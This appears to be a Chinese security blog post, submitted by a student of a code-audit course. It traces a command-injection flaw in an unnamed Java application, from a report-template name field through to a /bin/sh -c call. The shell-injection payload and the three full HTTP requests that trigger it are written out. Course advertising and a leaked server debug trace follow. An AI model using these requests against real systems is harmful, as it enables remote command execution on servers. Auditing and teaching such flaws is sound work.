乐于分享
好东西不私藏

代码审计JAVA源码RCE漏洞记录-学员投稿

代码审计JAVA源码RCE漏洞记录-学员投稿

免责申明

本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。

一、前言
前段时间跟着小朋友老师的课程学习了一段时间JAVA代码审计,今天尝试进行实操审计一下,JAVA反序列化这些还没学完,先进行审计基础漏洞(文章借助AI编辑)。
二、漏洞分析

    先进行定位分析,这里审计出来的是后台漏洞,完成了小朋友老师的0-1但是还没完成0-1+1这一步,给尊师也投稿一个,首先进行定位敏感函数。

new ProcessBuilder();
Runtime.getRuntime().exec()

上述两个为命令执行接口,尝试进行分析。

2.1 命令执行入口 — CommandUtils.execFor()

全局搜索ProcessBuilder关键字,定位到CommandUtils.java,这是项目中封装命令执行的工具类。

public class CommandUtils {
public static String execFor(String cmdboolean charsetAuto) {
ProcessBuilderbuilder=newProcessBuilder();
builder.command("/bin/sh""-c"cmd);  // ← 关键点:cmd直接交给sh -c执行
builder.directory(devHome);
builder.redirectErrorStream(true);
try {
Processprocess=builder.start();
// 读取命令输出 ...
String result=IOUtils.readString(process.getInputStream());
process.waitFor();
return result;
        } catch (Exceptione) {
throw new RuntimeException(e);
        }
    }
}

这里可以看见,cmd参数原封不动传入 /bin/sh -csh -c 会解析其中一切shell元字符(;|$()`& 等),只要cmd中包含用户可控的内容,就能注入任意命令。

2.2 命令构造点 — PdfConverter.convert()

全局搜索 execFor 的调用,跟进到 PdfConverter.java,这是负责调用 LibreOffice 进行文件格式转换的类。

public class PdfConverter {
privatestaticfinalStringSOFFICE="/usr/bin/soffice";
public static Fileconvert(String pathString typeString outDir) {
// ① 拼装shell命令 —— path直接通过 %s 格式化进入命令字符串
Stringcmd=String.format("%s --headless --convert-to %s \"%s\" --outdir \"%s\"",SOFFICE,  // soffice路径(固定)
type,     // 转换类型,如 "pdf"(固定)
path,     // ← 用户可控的文件路径,用双引号包裹
outDir// 输出目录(固定)
        );
// ② 调用execFor → /bin/sh -c cmd
CommandUtils.execFor(cmdfalse);
// ...
    }
}

这里可以看见,path参数虽然被双引号 "..." 包裹,看似安全,但实际上:

  • path来自用户可控的文件名

  • 双引号内如果出现 " 字符,就会提前闭合引号

  • 闭合引号后,后续内容就脱离了引号保护,被sh -c当作命令执行

这就是典型的"双引号包裹 → 双引号注入"绕过。

接下来需要追一个问题:path是从哪来的?能不能被用户控制?

2.3 path的来源 — 模板文件名拼接

搜索 convert() 的调用点,定位到 DataReportService 或类似报表服务类中。

// 文件: 报表导出服务(ReportService / DataReportService)
public void exportPdf(String reportIdString[] recordIds) {
// 从数据库取出报表模板配置
DataReportConfig config=dataReportConfigService.getById(reportId);
// 获取模板文件名 —— 这个文件名是在创建模板时由用户控制的
String templateFile=config.getTemplateFile();  // ← 用户上传的模板文件路径
// 拼出模板文件的完整磁盘路径
String path=getStoragePath() +"/"+templateFile;
// 调用convert,path传入shell命令
PdfConverter.convert(path"pdf"outputDir);
}

继续跟入,templateFile 这个字段是怎么设置的? 定位到模板创建/编辑的Controller。

@PostMapping("/app/entity/common-save")
public JSONObject commonSave(@RequestBody JSONObjectdata) {
// 前端传入的JSON直接映射到实体对象
DataReportConfig config=new DataReportConfig();
config.setName(data.getString("name"));           // ← 模板名称,用户完全可控
config.setTemplateFile(data.getString("templateFile")); // ← 模板文件路径
config.setTemplateType(data.getInt("templateType"));
// ... 其他字段
// 直接入库,无任何过滤
dataReportConfigService.save(config);
return JSONObject.ok();
}

这里可以看见,name字段由前端JSON直接传入,没有经过任何过滤就直接存入数据库

再往回追一步,templateFile字段和name字段的关联。模板文件上传后,文件名是由name字段拼接生成的:

public String storeTemplateFile(MultipartFile fileString templateName) {
String recordId=generateRecordId();
String date=DateUtils.format(newDate(), "yyyyMMdd");
String fileName String.format("%s__%s_%s.xlsx",recordId,templateName,date);
// 存储文件
Filedest=newFile(storageDirfileName);
file.transferTo(dest);
// 返回相对路径,这个路径最终存入 templateFile 字段
return"rb/"+date+"/"+fileName;
}

到这里整个链路就清楚了:

用户HTTP请求中的 name 字段
  → 无过滤拼入文件名: xxx__<name>_date.xlsx
  → 文件名存入 templateFile 字段
  → 导出PDF时取出 templateFile,拼出完整磁盘路径 path
  → path 传入 PdfConverter.convert()
  → String.format 将 path 拼入 shell 命令字符串
  → /bin/sh -c 执行 → 命令注入

2.4 后缀校验绕过

在 PdfConverter 中唯一的校验是文件后缀:

// PdfConverter.java
public static File convert(String pathString typeString outDir) {
File file=new File(path);
// 唯一的安全检查:校验后缀是否为Excel文件
if (!file.getName().endsWith(".xlsx"&&!file.getName().endsWith(".xls")) {
throw new IllegalArgumentException("Not a valid Excel file");
    }
// 校验通过,path原样进入shell命令
String cmd=String.format("%s --headless --convert-to %s \"%s\" --outdir\"%s\"",SOFFICEtypepathoutDir);
CommandUtils.execFor(cmdfalse);
}

这里没有对文件名内容做任何过滤,只要保证后缀是 .xlsx 即可绕过。Payload中的 # 注释掉了文件名后半段的 " 和 .xlsx",所以后缀校验完全不受影响。

2.5 Shell注入Payload构造原理

现在站在攻击者视角,倒推为什么要构造这样的HTTP报文。

攻击者的目标:在 name 字段中注入shell元字符,让命令在服务端执行。

约束条件

  1. name 值最终会出现在 shell 命令的双引号 "..." 内

  2. 文件名必须以 .xlsx 结尾才能通过后缀校验

  3. 命令输出需要能回显到攻击者能看到的地方

Payload构造过程

已知最终拼出的命令模板是:

soffice --headless --convert-to pdf "/path/to/xxx__<name>_date.xlsx" --outdir "/tmp"

要在双引号内执行任意命令,需要做三件事:

  • ① 用 " 闭合前面的双引号

  • ② 用 ; 分隔命令(或者 |&& 等)

  • ③ 用 # 注释掉后面的内容(避免语法错误)

Payload设计:

rce";id>&2;#

代入后效果:

soffice --headless --convert-to pdf "/path/to/xxx__rce";id>&2;#_date.xlsx" --outdir "/tmp"

逐段解析:

  • rce" → 字符串末尾的 " 闭合了第一个双引号,rce只是填充字符无实际意义

  • ; → shell命令分隔符,结束soffice命令,开始新的命令

  • id → 要执行的任意命令

  • >&2 → 将stdout重定向到stderr,因为Java代码中 redirectErrorStream(true) 会合并stderr到stdout,保证命令输出能被Java进程读取并返回

  • ; → 分隔符

  • # → shell注释符,注释掉后面所有内容(_date.xlsx" --outdir "/tmp"),防止语法报错

这就是为什么数据包中 name 字段要构造为 rce";id>&2;# 的原因。

三、漏洞复现

下面逐一拆解三个攻击步骤,每个HTTP请求对应代码中的哪一段逻辑

Step 1 — 上传Excel模板文件

POST /filex/upload HTTP/1.1
Content-Type: multipart/form-data
...
Content-Disposition: form-data; name="file"; filename="cmdi_1778410303.xlsx"
[Excel二进制数据]

对应代码:

@PostMapping("/filex/upload")
public JSONObject upload(@RequestParam("file"MultipartFile file) {
// 接收上传文件,存储到磁盘,返回文件路径
String filePath=fileStoreService.store(file);
return JSONObject.ok().put("filePath"filePath);
}

这一步只是上传一个合法的Excel文件,内容随意,目的是获得一个 templateFile 路径,供下一步使用。攻击者要的是一个合法的 .xlsx 文件路径。

Step 2 — 保存模板,注入payload

POST /app/entity/common-save HTTP/1.1
Content-Type: application/json
{
  "belongEntity": "User",
  "name": "rce\";id>&2;#",
  "templateFile": "rb/20260510/185145218__cmdi_1778410303.xlsx",
  "templateType": 1,
  "extraDefinition": {"templateVersion": 3},
  "metadata": {"entity": "DataReportConfig"}
}

对应代码:

// CommonSaveController.java
@PostMapping("/app/entity/common-save")
public JSONObject commonSave(@RequestBodyJSONObjectdata) {
DataReportConfig config=new DataReportConfig();
config.setName(data.getString("name"));            // ← name = rce";id>&2;#
config.setTemplateFile(data.getString("templateFile"));
config.setTemplateType(data.getInt("templateType"));
// ... 其他字段
dataReportConfigService.save(config);   
returnJSONObject.ok();
}

为什么name字段可以注入

  • name在前端是一个文本输入框的值,提交时作为JSON字符串传递

  • 后端接收后没有任何过滤(没有转义、没有白名单、没有正则校验)

  • name存入数据库后,在导出PDF时被取出来拼接到文件名中

  • 最终进入shell命令

Step 3 — 导出PDF,触发命令执行

GET /app/User/report/generate?report=032-019e1183c5282f79&record=001-0000000000000001,001-0000000000000001&output=PDF HTTP/1.1

对应代码:

@GetMapping("/app/{entity}/report/generate")
publicJSONObjectgenerateReport(
@PathVariableStringentity,
@RequestParamStringreport,
@RequestParamStringrecord,
@RequestParamStringoutput) {
DataReportConfigconfig=dataReportConfigService.getById(report);
// 获取模板文件名 → 拼成完整路径
String templateFile=config.getTemplateFile();
// templateFile = "rb/20260510/xxx__rce\";id>&2;#_date.xlsx"
String path=getStoragePath()+"/"+templateFile;
// 调用PdfConverter.convert(path) → shell执行 → 命令注入触发
PdfConverter.convert(path"pdf"outputDir);
returnJSONObject.ok();
}
成功执行系统命令。

代码审计培训介绍&广告区域

二、第五期课程

    第五期课程仍然是以代码审计为主,本次课程还是为三个语言的代码审计0-1讲解,目的为帮助学员完成0-1+1的白盒(代码审计)漏洞挖掘,并且在出货的基础上再+1去出高质量的漏洞(例如组合拳RCE、前台相关漏洞等)。
1
课程周期

开课周期预计到:三个月左右(直播+录播)

课程大纲

    本次课程分为PHP、JAVA、NET代码审计为直播+录播,为了照顾一些基础较为薄弱的师傅新增基础~技巧~番外(录播课程)。

01

PHP&JAVA&NET代码审计 (直播+录播)

    之前课程大纲主要为xxx实战案例,本次课程大纲着重体现思路方向,并非取消了实战部分,实战部分之多不减。
PHP课程目录
✅ 第一节课:多框架初识&路由认识&参数传递
✅ 第二节课:多框架&鉴权分析&认证与鉴权&鉴权方式
✅ 第三节课:多框架&常见漏洞函数&回显&非回显
✅ 第四节课:注入漏洞&常见位置&实战审计注入类漏洞
✅ 第五节课:前台RCE漏洞审计&漏洞案例技巧讲解
✅ 第六节课:门户网站CMS&网络设备&审计经验讲解
✅ 第七节课:多框架&鉴权对抗&权限绕过技巧&案例分析
✅ 第八节课:组合拳RCE漏洞分析&漏洞组合拳利用&案例
✅ 第九节课:PHP下反序列化漏洞&魔术方法&pop链分析
✅ 第十节课:PHP下反序列化漏洞实战&phar协议RCE案例
JAVA课程目录
✅ 第一节课:Servlet&Spring Boot&Spring MVC&Struts2
✅ 第二节课:多框架下&拦截器&认证鉴权&组件鉴权分析
✅ 第三节课:多框架下&权限绕过&鉴权对抗&案例分析
✅ 第四节课:常见漏洞函数&案例分析&审计技巧
✅ 第五节课:前台漏洞审计&组合拳rce漏洞&技巧&案例
✅ 第六节课:反序列化&CC链利用&反序列化漏洞利用
✅ 第七节课:Ognl&SpEl&EL表达式注入&漏洞案例
✅ 第八节课:内存马简介&内存马原理分析&内存马注入方式
✅ 第九节课:RMI&JNDI注入&JNDI注入漏洞利用&案例
✅ 第十节课:组件漏洞&shiro&fastjson&log4j分析&利用
.NET课程目录
✅ 第一节课:初识.NET&Web From & MVC架构框架分析
✅ 第二节课:Web From&MVC框架&鉴权分析&认证方式
✅ 第三节课:多框架下&鉴权对抗&权限绕过分析&案例
✅ 第四节课:注入漏洞分析&文件操作类漏洞&实战分析
✅ 第五节课:常见漏洞位置&前台漏洞审计&漏洞案例讲解
✅ 第六节课:组合拳RCE漏洞分析&组合拳RCE案例讲解

✅  第七节课:.NET反序列化漏洞初识&反序列化漏洞原理

✅  第八节课:.NET安全反序列化链&反序列化触发场景

✅  第九节课:.NET反序列化漏洞案例&反序列化漏洞分析

02

基础~技巧~番外(录播)

该篇章为长期更新
1
基础篇章

1、由于之前上课时部分师傅存在一定基础,刚开始的课程部分师傅认为自己可以跟的上等问题,导致时间的浪费。

2、同时有一定的师傅存在无法搭建源码,以及软件下载等问题,于是将这种基础问题,统一归纳为基础篇章,供师傅们学习,节省师傅们时间提升学习效率及课程质量

3、同时面对部分学员频繁提出的一些问题,针对该问题同样会进行解答,并且进行录制上传至基础篇章中。

2
技巧篇章

1、随着自己技术的进步也了解到了一些新型的技巧或者手法,例如sql注入的某一个技巧,但是重新讲解又浪费大量时间,特地新增了技巧篇章,将单独的技巧进行讲解

3
番外篇章

1、自己在第四期讲过一些逆向相关,并且还存在相关的一些好的案例,得到了挺多师傅的认可,例如某APP接管存储桶等案例,于是之后在有好的案例将进行上传更新。

课程思维导图

常见疑问&课程讲解

第五期课程收费多少?

本次课程收费仍然是1688,并且还是承诺一次报名后续不再进行任何二次收费保障(包含内部平台以及后续推出一系列内容均可观看)。

什么时间段上课,上课周期是多长时间?

第五期课程【直播+录播】上课周期为三个月,一般集中在周五六日这三天,一周保持2~3节课,每节课1小时左右。

作为学员,我们都有哪些权益?

首先最关键的就是课程内容是可以一直学习的,同时内部报告平台也可进行观看,答疑是不限时长,不限类型方向,任何方向均可,再次同时代码审计最关键的就是源码,源码&课件&视频都是给兄弟们配套的,当然无聊找小朋友聊天一起打游戏也可以哦。

学完之后可以达到什么水平?

学完之后可以达到可以进行独立审计的水平,在面对php、JAVA、NET主流语言的源码,可以进行独立审计验证漏洞,对于一些JAVA安全内容例如:反序列化,内存马等也有一定的理解,可以进行打反序列化漏洞注入内存马等操作,同时PHP的反序列化、pop链,phar协议等利用也有一定理解,且此类漏洞导致RCE均有案例

0基础可以学吗?

1、这是大家最常问的一个问题,0基础是可以的,我的代码审计课程一直秉持着帮助大家完成代码审计0-1的目标,同时往期(第四期)课程新增了进阶课,其目的也是帮助大家完成0-1出洞到0-1出有质量的漏洞

2、另外考虑到有的学员基础较为薄弱,本期同时也开了番外篇&基础篇,师傅们可以观看这块分区课程内容,此类分块课程目的就是为协助到一些基础比较薄弱的师傅们

是那种读PPT拿着靶场讲解吗?

不会,课程均使用一些0Day&1Day&Nday优质漏洞来进行授课,且本期案例均为从简-难漏洞案例,深度体验代码审计当中的难易区分完全杜绝靶场以及去读PPT的,从培训第一期开始到现在,基本为上课开始看几眼课件,让学员熟悉这节课的大概内容等信息,然后直接实操到下课,这一点也是我干培训五期以来一直使用的授课方式

是否有简历修改&内推等福利?

有的兄弟,有的,不介意小朋友的指导简历这类的话,随时欢迎大家来骚扰我

为什么你不新增AI方向的内容?

目前我个人认为AI可以帮助我们提升很大的效率,但是前提是AI的使用者本身要懂这个技术,才可以利用AI来降低该技术门槛,提升效率完全自动化目前感觉还是无法做到,包括课程当中也会使用AI会顺带着给师傅讲了如何用ai来提升效率,同时如果反馈不会使用的师傅较多,会考虑后续在基础~技巧~番外来更新该方向内容。

联系方式
基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-05-15 13:13:23 HTTP/1.1 GET : https://www.yeyulingfeng.com/a/630042.html
  2. 运行时间 : 0.227828s [ 吞吐率:4.39req/s ] 内存消耗:4,819.78kb 文件加载:145
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=47781c78ff6f894c428b295192edb256
  1. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_static.php ( 6.05 KB )
  7. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/ralouphie/getallheaders/src/getallheaders.php ( 1.60 KB )
  10. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  11. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  12. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  13. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  14. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  15. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  16. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  17. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  18. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  19. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions_include.php ( 0.16 KB )
  21. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions.php ( 5.54 KB )
  22. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  23. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  24. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  25. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/provider.php ( 0.19 KB )
  26. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  27. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  28. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  29. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/common.php ( 0.03 KB )
  30. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  32. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/alipay.php ( 3.59 KB )
  33. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  34. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/app.php ( 0.95 KB )
  35. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cache.php ( 0.78 KB )
  36. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/console.php ( 0.23 KB )
  37. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cookie.php ( 0.56 KB )
  38. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/database.php ( 2.48 KB )
  39. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/filesystem.php ( 0.61 KB )
  40. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/lang.php ( 0.91 KB )
  41. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/log.php ( 1.35 KB )
  42. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/middleware.php ( 0.19 KB )
  43. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/route.php ( 1.89 KB )
  44. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/session.php ( 0.57 KB )
  45. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/trace.php ( 0.34 KB )
  46. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/view.php ( 0.82 KB )
  47. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/event.php ( 0.25 KB )
  48. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  49. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/service.php ( 0.13 KB )
  50. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/AppService.php ( 0.26 KB )
  51. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  52. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  53. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  54. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  55. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  56. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/services.php ( 0.14 KB )
  57. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  58. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  59. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  60. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  61. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  62. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  63. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  64. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  65. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  66. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  67. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  68. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  69. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  70. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  71. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  72. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  73. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  74. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  75. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  76. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  77. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  78. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  79. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  80. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  81. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  82. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  83. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  84. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  85. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  86. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  87. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/Request.php ( 0.09 KB )
  88. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  89. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/middleware.php ( 0.25 KB )
  90. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  91. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  92. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  93. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  94. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  95. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  96. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  97. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  98. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  99. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  100. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  101. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  102. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  103. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/route/app.php ( 3.94 KB )
  104. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  105. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  106. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Index.php ( 9.87 KB )
  108. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/BaseController.php ( 2.05 KB )
  109. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  110. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  111. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  112. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
